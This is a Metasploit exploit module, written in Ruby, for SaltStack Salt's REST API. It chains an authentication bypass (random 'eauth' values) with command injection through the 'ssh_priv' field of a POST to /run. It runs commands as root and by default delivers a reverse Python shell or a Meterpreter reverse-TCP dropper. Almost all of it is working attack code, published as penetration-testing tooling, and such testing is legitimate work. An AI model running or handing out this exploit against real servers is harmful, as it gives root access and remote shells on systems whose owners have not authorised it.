##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt REST API Arbitrary Command Execution',
        'Description' => %q{
          This module exploits an authentication bypass and command injection in
          SaltStack Salt's REST API to execute commands as the root user.

          The following versions have received a patch: 2015.8.10, 2015.8.13,
          2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,
          2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,
          3001.1, 3001.2, and 3002.

          Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.
        },
        'Author' => [
          'KPC', # CVE-2020-16846 (ZDI-CAN-11143)
          'wvu' # Exploit
        ],
        'References' => [
          ['CVE', '2020-16846'], # Command injection
          ['CVE', '2020-25592'], # Auth bypass
          ['URL', 'https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/']
        ],
        'DisclosureDate' => '2020-11-03', # Vendor advisory
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8000),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    # /bin/sh -c 'ssh-keygen -P "" -f /dev/null < /dev/null & # -t rsa -q'
    res = send_request_cmd_inject('/dev/null < /dev/null & #')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Server: CherryPy/18.6.0
    unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
      return CheckCode::Unknown('Target does not appear to be running Salt.')
    end

    # {"return": [{}]}
    unless res.code == 200 && res.get_json_document['return'] == [{}]
      return CheckCode::Safe('Auth bypass failed.')
    end

    CheckCode::Vulnerable('Auth bypass successful.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(background: true)
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    # Subshell and background our command injection
    send_request_cmd_inject("/dev/null < /dev/null & (#{cmd}) & #")
  end

  def send_request_cmd_inject(cmd_inject)
    # https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
    # https://github.com/saltstack/salt/pull/58871
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'run'),
      'ctype' => 'application/json',
      'data' => {
        'client' => 'ssh',
        'tgt' => '*',
        'fun' => rand_text_alphanumeric(8..42),
        'eauth' => rand_text_alphanumeric(8..42), # Auth bypass
        'ssh_priv' => cmd_inject # Command injection
      }.to_json
    )
  end

end
